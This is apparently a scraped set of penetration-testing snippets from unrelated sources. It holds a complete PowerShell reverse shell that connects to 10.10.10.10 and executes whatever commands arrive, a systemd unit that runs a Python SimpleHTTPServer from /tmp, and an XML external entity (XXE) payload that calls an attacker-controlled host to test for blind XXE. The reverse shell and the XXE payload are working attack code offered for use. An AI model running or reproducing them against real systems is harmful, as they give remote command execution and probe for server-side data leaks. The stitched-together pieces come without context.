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| # Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html | |
| $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
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| [Unit] | |
| Description=Job that runs the python SimpleHTTPServer daemon | |
| Documentation=man:SimpleHTTPServer(1) | |
| [Service] | |
| Type=simple | |
| WorkingDirectory=/tmp/letsencrypt | |
| ExecStart=/usr/bin/python -m SimpleHTTPServer 80 & | |
| ExecStop=/bin/kill `/bin/ps aux | /bin/grep SimpleHTTPServer | /bin/grep -v grep | /usr/bin/awk '{ print $2 }'` |
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| -------------------------------------------------------------- | |
| Vanilla, used to verify outbound xxe or blind xxe | |
| -------------------------------------------------------------- | |
| <?xml version="1.0" ?> | |
| <!DOCTYPE r [ | |
| <!ELEMENT r ANY > | |
| <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
| ]> | |
| <r>&sp;</r> |